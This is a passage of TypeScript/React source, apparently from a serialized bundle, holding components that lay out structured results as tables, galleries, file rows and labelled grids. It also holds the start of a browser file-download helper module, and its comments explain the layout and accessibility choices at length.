widest column\n * loses it for every other column too.\n *\n * What a table genuinely cannot do is hold a paragraph or a nested structure in\n * a cell. So it does not try: the cell shows the first line (or how many entries\n * there are), and the row expands to a full rendering of the record underneath —\n * the same stacked layout a card used, arriving only when asked for. That keeps\n * the scannable shape and loses nothing, which the fallback could not claim.\n *\n * The toggle appears only when a row HAS more to show; a table of short scalars\n * of nothing but bounded scalars — numbers, dates, enums, `max_length` text —\n * gets no column of chevrons that reveal nothing. Bounded is read from the\n * descriptor's constraint rather than assumed from the kind; see\n * `fitsACellWhole` for why that distinction had to be made.\n *\n * **A record wider than the host's budget shows the top of a ranking** — its\n * name, then the values that fit a cell whole — and a row opens whenever a\n * column is hidden, because the open row is the whole record. See\n * `chooseColumns`.\n */\nfunction ObjectTable({\n columns,\n element,\n items,\n label,\n}: {\n /** Every field the element declares; the table shows the ones it chooses. */\n columns: readonly RunField[];\n /** The element descriptor, used to render an expanded row in full. */\n element: RunField;\n items: readonly unknown[];\n /** Names the scroll region, so a screen reader says which table it is. */\n label: string;\n}) {\n const s = useFieldStrings();\n const presentation = useFieldPresentation();\n const budget = useTableColumns();\n const scrollerRef = useRef<HTMLDivElement>(null);\n const [expanded, setExpanded] = useState<ReadonlySet<number>>(() => new Set());\n const [viewportWidth, setViewportWidth] = useState<number>();\n const { shown, hidden, name } = chooseColumns(columns, budget);\n // A hidden column is more to show, exactly as a clipped cell is: the open row\n // renders the whole record, so nothing the budget leaves out is lost. The\n // name is left out of the clipped-cell half, because it wraps and is never\n // clipped: a record whose only long field is its name has nothing more to\n // show, and a chevron opening onto the same values is chrome, not a feature.\n const canExpand =\n hidden > 0 || shown.some((column) => column !== name && !fitsACellWhole(column));\n\n // The width of what is VISIBLE, not of the table.\n //\n // An expanded row is a cell spanning every column, so it inherits the table's\n // width - and the table is deliberately wider than its container whenever the\n // columns do not fit. Left alone, the detail then runs off into the scroll: a\n // paragraph readable only by scrolling sideways, which is the failure the\n // expansion exists to avoid. Measuring the scroller and pinning the detail to\n // it makes the panel stay put while the columns above it scroll.\n useEffect(() => {\n const scroller = scrollerRef.current;\n if (!scroller) return;\n const measure = () => setViewportWidth(scroller.clientWidth);\n measure();\n // Guarded rather than assumed: a host rendering on the server, or a test\n // environment without the API, gets a detail that simply wraps at the\n // table's width instead of a component that throws.\n if (typeof ResizeObserver === 'undefined') return;\n const observer = new ResizeObserver(measure);\n observer.observe(scroller);\n return () => observer.disconnect();\n }, []);\n\n const toggle = (index: number) =>\n setExpanded((current) => {\n const next = new Set(current);\n if (!next.delete(index)) next.add(index);\n return next;\n });\n\n return (\n // `min-w-full` rather than `w-full`, and a floor under each cell: with\n // `w-full` the table is pinned to the container's width, so twelve columns\n // do not overflow - they crush, and a reading's date wraps onto four lines.\n // A floor makes the table wider than the panel instead, which is what the\n // scroller is for.\n //\n // A scrollable region must be reachable by keyboard. A table of values has\n // nothing to tab to, so the region itself takes focus; without `tabIndex` the\n // columns past the fold are reachable with a mouse and by no other means,\n // which the a11y gate catches as `scrollable-region-focusable`. The name\n // makes the focus stop announce itself rather than being a silent one.\n //\n // `group` rather than `region`, and that is not a detail: `region` is a\n // LANDMARK, so every table would enter the document's landmark list, and two\n // of them with the same name - which is what a result rendered twice, or a\n // structure holding two lists, produces - is `landmark-unique`. A group is\n // named without claiming to be a section of the page.\n <div\n ref={scrollerRef}\n role=\"group\"\n aria-label={label}\n tabIndex={0}\n className=\"overflow-x-auto rounded-lg border border-border\"\n >\n {/* `w-full` BESIDE `min-w-full`, not instead of it. `min-w-full` alone\n left the table content-sized whenever the columns were narrower than\n the panel, so the header band and every row rule stopped mid-box with\n empty bordered space to their right - the table looked half-drawn. The\n pair fixes that without giving up the overflow this scroller exists\n for: `width` and `min-width` agree at 100% while the content is narrow,\n and once the columns need more than that, auto table layout grows past\n both rather than crushing them (headers are `whitespace-nowrap` and\n cells `truncate`, so nothing wraps to buy the space back). */}\n <table className=\"w-full min-w-full border-collapse text-[13px]\">\n <thead>\n {/* A filled band, not a hairline. The header is the one row that is\n not data, and on a long list the reader scrolls it out of sight and\n back; a rule alone leaves it reading as the first entry. `bg-muted`\n rather than a literal grey so it follows the host's light and dark\n palettes - the same token the rest of the kernel's surfaces use. */}\n <tr className=\"border-b border-border bg-muted text-left\">\n {/* Named, not empty: a header cell with no text is `empty-table-header`\n to an auditor and an unlabelled column to a screen reader. The\n name is visually hidden because the chevron below it is the whole\n affordance a sighted reader needs. */}\n {canExpand && (\n <th scope=\"col\" style={{ width: EXPAND_COLUMN }} className=\"px-1\">\n <span className=\"sr-only\">{s.rowDetailsColumn}</span>\n </th>\n )}\n {shown.map((column) => (\n <th\n key={column.name}\n scope=\"col\"\n className={cn(\n 'whitespace-nowrap px-3 py-2 text-[12px] font-semibold text-foreground',\n presentation === 'app' ? undefined : 'font-mono',\n )}\n >\n {/* The authored description, once, on the header - it is worth\n having and not worth repeating under every value. */}\n <Described description={column.description}>\n {fieldLabel(column.title, column.name, presentation)}\n </Described>\n </th>\n ))}\n </tr>\n </thead>\n <tbody>\n {items.map((item, index) => {\n // Open only while there is a toggle to close it with. The host may\n // raise the budget while a row is open, and a row whose columns\n // then all fit would otherwise stay open with no chevron at all.\n const isOpen = canExpand && expanded.has(index);\n return (\n <Fragment key={index}>\n <tr className=\"border-b border-border/60 last:border-b-0\">\n {canExpand && (\n <td className=\"px-1 pt-px align-top\">\n <button\n type=\"button\"\n onClick={() => toggle(index)}\n aria-expanded={isOpen}\n aria-label={s.toggleRowDetails(index + 1)}\n className=\"mt-0.5 flex size-6 items-center justify-center rounded text-muted-foreground hover:bg-card hover:text-foreground focus-visible:outline-solid focus-visible:outline-2 focus-visible:outline-offset-1\"\n >\n {isOpen ? (\n <ChevronDown aria-hidden className=\"size-3.5\" />\n ) : (\n <ChevronRight aria-hidden className=\"size-3.5\" />\n )}\n </button>\n </td>\n )}\n {/* OPEN: the row BECOMES the record. It used to keep its\n truncated cells and grow a second row underneath, which\n showed every value twice — clipped above, whole below —\n and left the reader scrolling sideways through the clipped\n copy of what they had just opened. A row is one thing, so\n opening it replaces it rather than annotating it.\n\n Column alignment is what that costs, and only while a row\n is open: an open row is not being scanned against its\n neighbours, it is being read. */}\n {isOpen ? (\n <td colSpan={shown.length} className=\"bg-card/40 p-0\">\n <div\n className=\"sticky left-0 px-3.5 py-3\"\n {...(viewportWidth\n ? {\n style: {\n // Minus the chevron column: this cell starts\n // after it, so pinning it to the FULL visible\n // width pushes its right edge that far past the\n // scroller. See `EXPAND_COLUMN`.\n width: canExpand\n ? `calc(${viewportWidth}px - ${EXPAND_COLUMN})`\n : viewportWidth,\n },\n }\n : {})}\n >\n <ResultField field={element} value={item} hideLabel />\n </div>\n </td>\n ) : (\n shown.map((column) => {\n const cell =\n typeof item === 'object' && item !== null\n ? ownProp(item as Record<string, unknown>, column.name)\n : undefined;\n return (\n <td key={column.name} className=\"px-3 py-1.5 align-top\">\n {/* One line per cell, and a cap on how wide one may push\n the column. Wrapping is what a `w-full` table does\n instead of overflowing, and it is the worse failure: a\n date broken over two lines to save a scrollbar. The\n cap stops the opposite failure - one long label making\n a 200-character column - and the full value is a click\n or a hover away.\n\n A record's NAME is the one cell that wraps, in every\n table, and the one with no cap. It is what a reader\n identifies a row by, and a name cut at the cap is the\n fault this rule was built for. It wraps ANYWHERE, and\n that is what lets it wrap at all when a name is one\n long token - an address, an identifier. Auto table\n layout sizes a column by its cell's narrowest width,\n and only `overflow-wrap: anywhere` counts the breaks\n inside a word toward it: `break-word` breaks the\n token on screen but still measures it whole, so the\n table grew as wide as the name's longest word. Wrapped\n anywhere, the cell cannot push the table wider, so a\n cap has nothing to stop there and the name takes the\n width the panel leaves it. Wrapping also makes it the\n one column that can give width back, so auto table\n layout squeezes it first when the panel is narrow -\n into a ribbon, but for the floor under it, which is\n the chip column's floor for the same reason.\n `[&>span]` reaches the value's own span, which is\n `whitespace-nowrap` in every cell: only this caller\n knows the name may wrap. */}\n <div\n className={cn(\n 'max-w-[44ch]',\n column === name\n ? 'max-w-none min-w-[16ch] wrap-anywhere [&>span]:whitespace-normal'\n : column.kind === 'list' && isInlineColumn(column)\n ? 'min-w-[16ch]'\n : 'truncate',\n )}\n {...(typeof cell === 'string' || typeof cell === 'number'\n ? { title: cellTitle(column, cell, presentation) }\n : {})}\n >\n <LeafValue field={column} value={cell} compact />\n </div>\n </td>\n );\n })\n )}\n </tr>\n </Fragment>\n );\n })}\n </tbody>\n </table>\n </div>\n );\n}\n\n/**\n * A `native.Composite` — its members, named, each rendered as what it is.\n *\n * ## Why this one reads the value, when nothing else here does\n *\n * Every other layout in this file is decided by the descriptor, and that rule\n * is load-bearing. This arm is the documented exception, and the reason is that\n * there is nothing to read: a composite declares no members, so the standard's\n * own honest answer is `kind: \"unknown\"` with a payload schema of\n * `{additionalProperties: true}` and no properties. Both are true. The\n * standard's note on `unknown` says a renderer then \"falls back to raw entry\n * against the contract's `json_schema`\" — and that schema says *any object*.\n *\n * So the descriptor has abdicated, deliberately, and the choice left is between\n * printing the whole thing as a JSON blob and reading the members as the\n * `StuffContent`s they are BY DEFINITION. A composite is a named composition of\n * contents; that is not a guess about this payload, it is what the concept\n * means.\n *\n * ## And the readers are the standard's, not sniffing\n *\n * `readHtmlContent`, `readDateContent`, `readDocumentContent` and the rest\n * already exist and are already payload readers — elsewhere in this file the\n * DESCRIPTOR chooses which one to call. Here nothing can, so they are tried in\n * order of specificity, and a member that matches none is shown raw. What that\n * costs is precision on a member whose content model this version does not\n * know; what it buys is that a composite of two summaries reads as two\n * summaries instead of forty lines of escaped JSON.\n *\n * The order matters and is by narrowness: `inner_html` and `date` name\n * themselves, `url` is a file, `items` is a list envelope, and `text` is last\n * of the recognised set because several models carry a `text` member beside\n * their own (a `Page`, for one).\n */\nfunction CompositeValue({ members }: { members: readonly CompositeMember[] }) {\n return (\n <div className=\"space-y-3\">\n {members.map((member) => (\n <div key={member.name} className=\"space-y-1\">\n <span className=\"font-mono text-[12px] font-semibold text-foreground\">{member.name}</span>\n <NativeValue value={member.value} />\n </div>\n ))}\n </div>\n );\n}\n\n/**\n * One content of unknown model, rendered as the most specific thing it matches.\n *\n * Only reachable from `CompositeValue` — see that component for why reading a\n * value is allowed there and nowhere else in this file.\n */\nfunction NativeValue({ value }: { value: unknown }) {\n if (value === null || value === undefined || value === '') return <Absent />;\n\n const html = readHtmlContent(value);\n if (html) return <HtmlPreview content={html} />;\n\n const date = readDateContent(value);\n if (date) return <span className=\"text-[13px] text-foreground\">{formatDateContent(date)}</span>;\n\n const document = readDocumentContent(value);\n if (document?.url !== undefined) {\n return (\n <FileRef\n url={document.url}\n {...(document.mimeType !== undefined ? { mimeType: document.mimeType } : {})}\n {...(document.filename !== undefined ? { filename: document.filename } : {})}\n />\n );\n }\n\n // A `ListContent` envelope: the members of a composite are contents, and a\n // plural one arrives wrapped exactly as a plural result does.\n if (isRecord(value) && Array.isArray((value as Record<string, unknown>).items)) {\n const items = (value as { items: unknown[] }).items;\n if (items.length === 0) return <Absent />;\n return (\n <div className=\"divide-y divide-border/60 overflow-hidden rounded-lg border border-border\">\n {items.map((item, index) => (\n <div key={index} className=\"bg-card/40 px-3 py-1.5\">\n <NativeValue value={item} />\n </div>\n ))}\n </div>\n );\n }\n\n // `text` last of the recognised models: several carry one beside their own.\n if (isRecord(value)) {\n const text = (value as Record<string, unknown>).text;\n if (typeof text === 'string') {\n return text === '' ? <Absent /> : <Markdown text={text} />;\n }\n }\n\n if (typeof value === 'string') return <Markdown text={value} />;\n if (typeof value !== 'object') return <Scalar value={value} />;\n return <RawValue value={value} compact={false} />;\n}\n\n/** A plain object, for the one arm that has to ask. */\nfunction isRecord(value: unknown): value is Record<string, unknown> {\n return typeof value === 'object' && value !== null && !Array.isArray(value);\n}\n\n/**\n * A list of PROSE, as plain lines.\n *\n * `prose` is the standard's way of saying \"this may be long\", and `native.Text`\n * always derives to it — so this is what a list of plain strings actually is,\n * and it is the most common result list there is. Chips are wrong for it: a chip\n * containing a paragraph is a box with a paragraph in it. Cards are worse: a\n * bordered box and an index number around the word `Mercury`.\n *\n * So: the values, one per line, divided by a hairline. Nothing else — the index\n * a card carried labels nothing, because the entries of a scalar list are the\n * values.\n */\nfunction ScalarLines({ field, items }: { field: RunField; items: readonly unknown[] }) {\n return (\n <div className=\"divide-y divide-border/60 overflow-hidden rounded-lg border border-border\">\n {items.map((item, index) => (\n <div key={index} className=\"bg-card/40 px-3 py-1.5\">\n <LeafValue field={field} value={item} />\n </div>\n ))}\n </div>\n );\n}\n\n/**\n * A list of IMAGES is a gallery, not a stack of cards.\n *\n * The card layout gives every entry a bordered box, an index and a label row —\n * a screenful per picture, when the picture is the entire content. A grid shows\n * them the way a person looks at images: several at once, compared side by side.\n * An entry whose URL the browser cannot paint keeps its reference, because a\n * grid of identical broken-image glyphs would be worse than the text.\n */\nfunction ImageGallery({ items }: { items: readonly unknown[] }) {\n // A grid of empty squares is not a gallery. When NOTHING here can be painted -\n // every URL a storage reference the host has no resolver for - the tiles carry\n // no picture, and three large blanks say less than three lines would. So the\n // layout follows what is actually showable rather than what the kind promises.\n const anyViewable = items.some((item) => {\n const content = readImageContent(item);\n return content ? !!(viewableUrl(content.publicUrl) ?? viewableUrl(content.url)) : false;\n });\n if (!anyViewable) return <FileRows items={items} kind=\"image\" />;\n return (\n <div className=\"grid grid-cols-[repeat(auto-fill,minmax(140px,1fr))] gap-2\">\n {items.map((item, index) => (\n <div key={index} className=\"overflow-hidden rounded-lg border border-border bg-card/40\">\n <ImageValue value={item} inGallery />\n </div>\n ))}\n </div>\n );\n}\n\n/**\n * A list of FILES is a list of rows, not a list of cards.\n *\n * A document's whole content is a name and a link; wrapping each in a card with\n * an index spends the chrome of a structure on two fields. Rows keep them\n * scannable, which is what a list of sources is for.\n */\nfunction FileRows({ items, kind }: { items: readonly unknown[]; kind: 'document' | 'image' }) {\n return (\n <div className=\"divide-y divide-border overflow-hidden rounded-lg border border-border\">\n {items.map((item, index) => (\n <div key={index} className=\"bg-card/40 px-3.5 py-2\">\n {kind === 'document' ? <DocumentValue value={item} /> : <ImageValue value={item} inRow />}\n </div>\n ))}\n </div>\n );\n}\n\n/**\n * The columns a list's element contributes — every field it declares.\n *\n * There is no longer a shape that disqualifies a record from being a row. Prose\n * and nesting used to send the whole list back to cards, which lost the\n * scannable shape for every other column to accommodate the widest one; they are\n * now shown in the row's expansion instead. What is left is the one case that is\n * not a record at all.\n *\n * Which of them a table SHOWS is a second question, answered by `chooseColumns`\n * against the host's budget.\n */\nfunction recordColumns(item: RunField): readonly RunField[] | undefined {\n if (item.kind !== 'object' || item.fields.length === 0) return undefined;\n return item.fields;\n}\n\n/**\n * The field that NAMES a record: its first `text` field in authored order.\n *\n * One rule, read in two places. A nested record's cell is named by it\n * (`RecordSummary`), and a table of records ranks it first and gives it a floor.\n * It is read off the field list alone, never off a value, so every row of a\n * column is named by the same field.\n */\nfunction recordNameField(fields: readonly RunField[]): RunField | undefined {\n return fields.find((member) => member.kind === 'text');\n}\n\n/**\n * Where a column ranks when a record has more fields than its table shows —\n * the lower tier is kept first, and within a tier the authored order decides.\n *\n * 1. **The record's name** — the column a reader identifies a row by.\n * 2. **A field that fits a cell whole** — an enum, a number, a date, a boolean,\n * a bounded `text` (see `fitsACellWhole`). These are the values a reader\n * compares down a column, and they cost the table the least width.\n * 3. **Any other `text`, and a list of scalars** — a cell shows them, but may\n * have to cut them short.\n * 4. **Everything else** — prose, a nested record, a list of records, a file. A\n * cell shows only a first line or a count for these anyway, and they are\n * where a wide table's width went.\n *\n * Read from the descriptor and never from a value, like every other layout rule\n * here: a table has the same columns in every row, and its shape does not move\n * with the data it happens to be showing.\n */\nfunction columnTier(field: RunField, name: RunField | undefined): 1 | 2 | 3 | 4 {\n if (field === name) return 1;\n // A list of bounded scalars fits whole too, since chips wrap; but its row\n // height grows with its length, so it ranks with the lists, below the values.\n if (field.kind !== 'list' && fitsACellWhole(field)) return 2;\n if (field.kind === 'text' || (field.kind === 'list' && isInlineColumn(field))) return 3;\n return 4;\n}\n\n/** What a table of records shows, once its budget has been applied. */\ninterface ChosenColumns {\n /** The columns shown, in AUTHORED order. */\n shown: readonly RunField[];\n /** How many of the record's fields only the row's detail shows. */\n hidden: number;\n /** The name column, in every table that has one. It is the one given a floor. */\n name?: RunField;\n}\n\n/**\n * The columns a table shows: the top of the ranking, up to the budget, laid out\n * in the order the method's author wrote them.\n *\n * **The ranking selects and does not reorder.** Authored order is a fact the\n * descriptor carries deliberately, and a table whose columns moved whenever a\n * field was added would read differently from the record its rows open into.\n *\n * **Within the budget nothing is hidden and nothing moves.** Every field is a\n * column, in authored order, and no row gains a toggle it did not have. The\n * name is still named, because the name rule is not a budget rule: a long name\n * cut at the cell cap is as wrong in a table of three columns as in one of\n * twelve.\n */\nfunction chooseColumns(fields: readonly RunField[], budget: number): ChosenColumns {\n const name = recordNameField(fields);\n if (fields.length <= budget) return { shown: fields, hidden: 0, ...(name ? { name } : {}) };\n const kept = new Set(\n fields\n .map((field, index) => ({ field, index, tier: columnTier(field, name) }))\n .sort((a, b) => a.tier - b.tier || a.index - b.index)\n .slice(0, budget)\n .map(({ field }) => field),\n );\n return {\n shown: fields.filter((field) => kept.has(field)),\n hidden: fields.length - kept.size,\n ...(name ? { name } : {}),\n };\n}\n\nexport interface ResultFieldProps {\n field: RunField;\n value: unknown;\n /** Nesting depth, used only for indentation. */\n depth?: number;\n /**\n * Suppress the field's own label. Set on a LIST ITEM, where the index already\n * identifies the entry: the standard says an element descriptor's `name` is\n * unused, and rendering it repeats the parent's label on every row.\n */\n hideLabel?: boolean;\n}\n\n/** The single dispatch point, mirroring `FieldRenderer` on the input side. */\nexport function ResultField({ field, value, depth = 0, hideLabel = false }: ResultFieldProps) {\n const s = useFieldStrings();\n const unwrapped = unwrap(field, value);\n\n // The description rides the label's `title`, at every depth including this\n // one.\n //\n // On an INPUT it is guidance a person needs before typing, so it is printed\n // under every label. On a RESULT it is a sentence beside a value the reader is\n // there to read — one line of chrome at the top, ten inside a structure of\n // ten. The fact is worth having and is not worth printing, so it stays\n // reachable, and the dotted underline is what says it is there.\n const header = hideLabel ? null : <Label field={field} describe />;\n\n // The text a copy control would write, or `undefined` where there is none to\n // offer: only the two text kinds, and only when the value actually is a\n // non-empty string. A button that copies \"[object Object]\" or an empty string\n // is worse than no button - it reports success and hands over nothing.\n const copyText =\n (field.kind === 'text' || field.kind === 'prose') &&\n typeof unwrapped === 'string' &&\n unwrapped !== ''\n ? unwrapped\n : undefined;\n\n // A DATE, before the kind switch, for the same reason markup is: `native.Date`\n // is `{date, time}`, two properties, so nothing unwraps it and its node is an\n // `object`. Rendered structurally that is a two-field card whose second field\n // says \"not provided\", where the answer is a date. `readDateContent` already\n // takes exactly this model - the arm just never fired, because the kind says\n // `object`.\n if (isNativeDateNode(field)) {\n return (\n <div className=\"space-y-0.5\">\n {header}\n <DateValue value={unwrapped} />\n </div>\n );\n }\n\n // Markup, before the kind switch: a `native.Html` node's KIND is `object`, so\n // the switch below would render its two members as text and call it done.\n if (isNativeHtmlNode(field)) {\n const content = readHtmlContent(unwrapped);\n return (\n <div className=\"space-y-2\">\n {header}\n {content ? <HtmlPreview content={content} /> : <Absent />}\n </div>\n );\n }\n\n // A named bag of contents, before the kind switch for the same reason - and\n // with the weakest descriptor of the three: a composite declares no members,\n // so its node is `kind: \"unknown\"` and its payload schema is an open object.\n // The default fallback for that is a JSON blob, which is the worst available\n // answer to a value that is by definition a map of ordinary contents.\n if (isNativeCompositeNode(field)) {\n const members = readCompositeContent(unwrapped);\n return (\n <div className=\"space-y-2\">\n {header}\n {members && members.length > 0 ? <CompositeValue members={members} /> : <Absent />}\n </div>\n );\n }\n\n switch (field.kind) {\n case 'object': {\n const memberValue = (child: RunField) =>\n typeof unwrapped === 'object' && unwrapped !== null\n ? ownProp(unwrapped as Record<string, unknown>, child.name)\n : undefined;\n return (\n <div className=\"space-y-2\">\n {header}\n {/* Plain elements, NOT a `<dl>`, and that is a decision rather than an\n oversight. A definition list may hold only ordered `<dt>`/`<dd>`\n groups, and this grid also holds tables, frames and galleries -\n blocks a `<dl>` rejects (`definition-list` in the a11y gate). The\n only way to keep the semantics would be to separate the short\n fields from the rest, which reorders them, and authored order is a\n fact the descriptor carries deliberately. So: a layout, honestly\n labelled as one. */}\n <div\n className={cn(\n // A definition grid, not a stack. Label above value spends two\n // lines on every field, so a structure of ten is twenty lines of\n // alternating label and answer with nothing aligned. Beside each\n // other they take one line and the values line up, which is what\n // makes a record scannable.\n //\n // The label column is CAPPED at 40%, and that is not cosmetic. A\n // bare `auto` sizes to the widest label in the grid - label text\n // plus its concept pill - so one long field name starved every\n // value beside it, and inside a 400px panel a paragraph came out\n // as a ten-line ribbon in a 130px column. `min-content` keeps a\n // short label short; the cap stops any label taking more than its\n // share, whatever the panel width turns out to be.\n 'grid grid-cols-[minmax(min-content,40%)_minmax(0,1fr)] items-baseline gap-x-3 gap-y-1.5',\n // A list item already sits in its own bordered row; nesting a\n // second card inside it draws a box in a box for no information\n // gained.\n !hideLabel && 'rounded-lg border border-border bg-card/40 px-3.5 py-3',\n )}\n >\n {field.fields.map((child) =>\n // Only a SHORT value shares a line. Prose needs the full width, and\n // so does anything with chrome of its own - a table, a gallery, a\n // frame - which beside a label would be squeezed into whatever the\n // longest label left over.\n isInlineColumn(child) ? (\n <Fragment key={child.name}>\n <div className=\"min-w-0\">\n <Label field={child} describe />\n </div>\n {/* The value sits at the RIGHT EDGE of its column, not against\n the label. Names vary in length and answers do not line up\n behind them, so a left-aligned value column leaves a ragged\n seam down the middle of the record and the eye has to find\n each answer again. Flushed right, the answers form one\n column the reader can run down - the same reason a receipt,\n a spec sheet and a settings panel all do it.\n\n Only INLINE columns get this. Anything that took the\n `col-span-2` branch (prose, a table, a gallery, a frame)\n owns its full width and reads left-to-right like the\n paragraph or grid it is; right-aligning those would be\n aligning a block, not an answer. A chip row takes the same\n edge through `justify-end` on its `data-chips` hook, so a\n list of tags ends where the numbers above it do rather than\n starting under the label. */}\n {/* A value that WRAPS aligns left. The flex row ends a\n one-line value at the right edge, as above; one that\n needs more than a line is shrunk to the column's width\n and reads left to right inside it, because a paragraph\n flushed right has a ragged left edge on every line. The\n descriptor cannot say which a value will be - an\n unbounded `text` holds a company name in one record and\n ninety words in the next - and this needs no telling:\n the value's own width decides, without being measured. */}\n <div className=\"flex min-w-0 justify-end **:data-chips:justify-end\">\n <div className=\"min-w-0 text-left wrap-break-word\">\n <LeafValue field={child} value={memberValue(child)} />\n </div>\n </div>\n </Fragment>\n ) : (\n <div key={child.name} className=\"col-span-2 min-w-0\">\n <ResultField field={child} value={memberValue(child)} depth={depth + 1} />\n </div>\n ),\n )}\n </div>\n </div>\n );\n }\n\n case 'list': {\n // A bare array, always: a plural payload's `ListContent {items}` wrapper is\n // unwrapped by `contentKey` above, exactly as a scalar's is, and a nested\n // array property is bare on the wire to begin with. The `items`-key sniff\n // that used to stand in for the schema is gone.\n const items = Array.isArray(unwrapped) ? unwrapped : [];\n const columns = recordColumns(field.item);\n return (\n <div className=\"space-y-2\">\n {/* `hideLabel` is honoured here as everywhere else - it was not, and\n the panel showed the label twice: once as its own header and again\n on the list beneath it. The COUNT is not part of the label though,\n so it survives on its own; it is a fact about this value rather\n than a name for it, and the panel's header does not carry it. */}\n <div className=\"flex flex-wrap items-baseline gap-x-2\">\n {header}\n <span className=\"font-mono text-[10.5px] text-muted-foreground\">\n {s.itemsCount(items.length)}\n </span>\n </div>\n {items.length === 0 ? (\n <p className=\"text-[13px] italic text-muted-foreground\">{s.noItemsYet}</p>\n ) : isNativeValueNode(field.item) ? (\n // A list of dates, pages or composites is a list of VALUES, each read\n // by its own arm - one per line. Their nodes are `object` (or, for a\n // composite, `unknown`), so the branches below would tabulate a\n // date's `date` and `time`, print a page's markup source down a\n // column named by it, and show a composite as JSON. The arm keyed by\n // concept is the one that knows what each entry is.\n <div className=\"divide-y divide-border/60 overflow-hidden rounded-lg border border-border\">\n {items.map((item, index) => (\n <div key={index} className=\"bg-card/40 px-3 py-1.5\">\n <ResultField field={field.item} value={item} depth={depth + 1} hideLabel />\n </div>\n ))}\n </div>\n ) : columns ? (\n // Same shape every row: the labels are column headers, not per-row\n // labels. See `ObjectTable`.\n <ObjectTable\n columns={columns}\n element={field.item}\n items={items}\n label={field.title ?? humanizeFieldName(field.name)}\n />\n ) : TABULAR_KINDS.has(field.item.kind) ? (\n <ScalarChips field={field.item} items={items} />\n ) : field.item.kind === 'prose' || field.item.kind === 'unknown' ? (\n // `unknown` shares the LINES layout, and that is a reading of the\n // standard rather than a convenience. `unknown` is the deliberate\n // escape hatch: the producer could not map the node honestly and\n // said so, which is what an untyped `type = \"list\"` field derives\n // to. A card per entry would spend a bordered box and an index on\n // each value to say nothing extra - the card earns its place around\n // a STRUCTURE, and this is precisely the node we have been told is\n // not known to be one. Lines cost nothing and read the same whether\n // the entries turn out to be words or objects, because `LeafValue`\n // falls through to `RawValue` either way.\n <ScalarLines field={field.item} items={items} />\n ) : field.item.kind === 'image' ? (\n <ImageGallery items={items} />\n ) : field.item.kind === 'document' ? (\n <FileRows items={items} kind=\"document\" />\n ) : (\n // Nested, or carrying prose: a card per entry is what a table cell\n // cannot hold. The index label earns its place here, where the\n // entries are structures rather than values.\n <div className=\"space-y-2\">\n {items.map((item, index) => (\n <div\n key={index}\n className=\"space-y-2 rounded-lg border border-border bg-card/40 px-3.5 py-3\"\n >\n <span className=\"font-mono text-[10px] text-muted-foreground\">{index + 1}</span>\n <ResultField field={field.item} value={item} depth={depth + 1} hideLabel />\n </div>\n ))}\n </div>\n )}\n </div>\n );\n }\n\n case 'boolean':\n case 'date':\n case 'document':\n case 'image':\n case 'text':\n case 'prose':\n case 'number':\n case 'enum':\n case 'unknown':\n return (\n <div className={field.kind === 'image' ? 'space-y-1.5' : 'space-y-0.5'}>\n {/* The copy control rides the label row, and it is on every TEXT\n value whether or not it turns out to be markdown. A result view is\n where a person goes to take something away, and the alternative\n was selecting a rendered heading, list and table by dragging -\n which picks up the layout and loses the source. What it writes is\n the source the run produced, not the typeset rendering.\n\n The row survives `hideLabel`, which is the top-level case\n `StuffViewer` uses: the header moves up to the panel, the button\n does not follow it, and a text result with no way to copy it would\n be exactly the one worth copying. */}\n {copyText === undefined ? (\n header\n ) : (\n <div className=\"flex items-start gap-2\">\n <div className=\"min-w-0 flex-1\">{header}</div>\n <CopyButton value={copyText} label={s.copyText} />\n </div>\n )}\n {/* The RAW value: `LeafValue` owns the unwrap, so that a chip, a line,\n a table cell and this stacked row cannot disagree about it. */}\n <LeafValue field={field} value={value} />\n </div>\n );\n }\n\n // Unreachable while the switch covers `RunFieldKind`. A twelfth kind added to\n // the descriptor fails to compile HERE — which is the point of the assertion,\n // and is what a `default:` returning `String(value)` cost: a `document` result\n // rendered as `[object Object]`, silently, with nothing to notice it.\n field satisfies never;\n return null;\n}\n","import { collectStuffFiles, type StuffFile } from '../core/stuff-files';\nimport type { RunField } from '../core/descriptor';\nimport { viewableUrl } from '../core/native-content';\n\n/** How a host turns a stored reference into something fetchable. */\nexport type ResolveForDownload = (url: string) => string | undefined;\n\n/**\n * Save one blob under a name, through the anchor the browser understands.\n *\n * Object URLs are revoked on the next tick rather than immediately: Safari\n * starts the download asynchronously and a URL revoked in the same frame can be\n * gone before the fetch begins, which fails silently — no error, no file.\n */\nfunction saveBlob(blob: Blob, filename: string): void {\n const href = URL.createObjectURL(blob);\n const anchor = document.createElement('a');\n anchor.href = href;\n anchor.download = filename;\n document.body.appendChild(anchor);\n anchor.click();\n anchor.remove();\n setTimeout(() => URL.revokeObjectURL(href), 0);\n}\n\n/** The type to save inline content under. Text either way; the extension leads. */\nfunction mimeForExtension(extension: string | undefined): string {\n return extension === 'html' ? 'text/html;charset=utf-8' : 'text/plain;charset=utf-8';\n}\n\n/** The extension a URL states, or none — never guessed from the bytes. */\nfunction extensionOf(url: string, filename: string | undefined): string {\n const named = filename?.match(/\\.([A-Za-z0-9]{1,8})$/)?.[1];\n if (named) return named.toLowerCase();\n const path = url.split(/[?#]/)[0] ?? url;\n const match = path.match(/\\.([A-Za-z0-9]{1,8})$/)?.[1];\n return match ? match.toLowerCase() : '';\n}\n\n/**\n * What a saved file is called.\n *\n * The file's own `filename` wins when it has one — it is the name the producer\n * chose and the reader recognises. Otherwise the descriptor path names it\n * (`report.attachments.2`), which is unlovely but unambiguous: two images from\n * one result must not both land as `image.png`, silently overwriting in the\n * download folder.\n */\nfunction fileNameFor(file: StuffFile, base: string): string {\n if (file.filename) return file.filename;\n const extension = file.extension ?? extensionOf(file.url ?? '', file.filename);\n const stem = `${base}-${file.path.replace(/\\./g, '-')}`;\n return extension ? `${stem}.${extension}` : stem;\n}\n\n/**\n * Everything a stuff contains, saved.\n *\n * The rule the caller asked for, and the one that matches what a result IS: the\n * data goes down as JSON, and any image or document inside it goes down as\n * ITSELF. A JSON file holding a URL to a picture is not the picture, and a\n * reader who clicks download on a report with three attachments wants the three\n * attachments — the reference is what the payload had, not what they asked for.\n *\n * The JSON is written whenever the stuff is anything more than its files: a\n * result that IS one image has nothing left over once the image is saved, so\n * writing `{\"url\": …}` beside it would be a second file saying less than the\n * first. A result with fields around its files keeps both.\n *\n * A file that cannot be fetched is opened in a tab instead of failing. The\n * fetch is same-origin for a host that proxies its storage, but a remote URL\n * with no CORS header cannot be read into a blob at all, and handing the reader\n * the file in a tab is the difference between an awkward download and none.\n */\nexport async function downloadStuff({\n field,\n value,\n baseName,\n resolveUrl,\n}: {\n field: RunField;\n value: unknown;\n /** Names the JSON file and prefixes any file that has no name of its 